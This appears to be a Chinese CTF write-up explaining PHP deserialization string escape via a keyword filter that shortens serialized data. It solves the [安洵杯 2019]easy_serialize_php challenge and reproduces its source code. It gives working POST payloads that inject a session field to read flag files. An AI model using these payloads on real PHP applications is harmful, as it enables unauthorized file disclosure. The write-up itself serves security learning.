发现进行了过滤,将php和test转换为空
如果我们在name的参数中输入php,test等,就换转换为空,那么就会把后面的数据当成变量
而sign的参数是可控的,如果当name参数为空而读取到sign可控参数前,那么就可以通过sign的参数控制字符串用}号来闭合掉后面的
计算";s:4:"sign";s:51:"的长度为19
而过滤php一个能吞掉3个字符串,所以我们要输入7个php也就是吞掉21长度,而后面是19长度,所以我们加2个字符来补充
所以构造
name=phpphpphpphpphpphpphp
sign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}
其中sign中12为补充使其为21长度,"号用于闭合name参数,然后可以发现,number不可变变量被改变

一个ctf例题([安洵杯 2019]easy_serialize_php)
题目地址:
打开题目是一段代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = 'http://www.likecs.com/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="http://www.likecs.com/index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}


先看看phpinfo中的数据,提示在d0g3_f1ag.php文件中

<?php
$_SESSION["user"]='123';
$_SESSION["function"]='123';
$_SESSION["img"]='123';
$Lmg = serialize($_SESSION);
echo $Lmg."\n";
?>
先构造代码尝试运行结果

和上面原理一样要将吞掉,长度为23
";s:8:"function";s:75:"
为什么s:后是75因为s后的长度必然大于10(也就是function传入数据的长度)所以我们只要大于10小于100都行,因为数据长度不可能大于100
而flag换成空格吞掉4个字符串,所以要6个flag(当然也可以8个php:3*8=24),然后还有在function参数加一个字符串来满足吞24个字符串
所以构造数字1也就是满足24长度加的,img变量要base64,因为实际的img参数被我们给挤出去了,所说

这里不影响
payload(post传输):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
然后查看显示,查看源代码:

将img参数读取的文件改为/d0g3_fllllllag的base64加密
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

反序列化pop链构造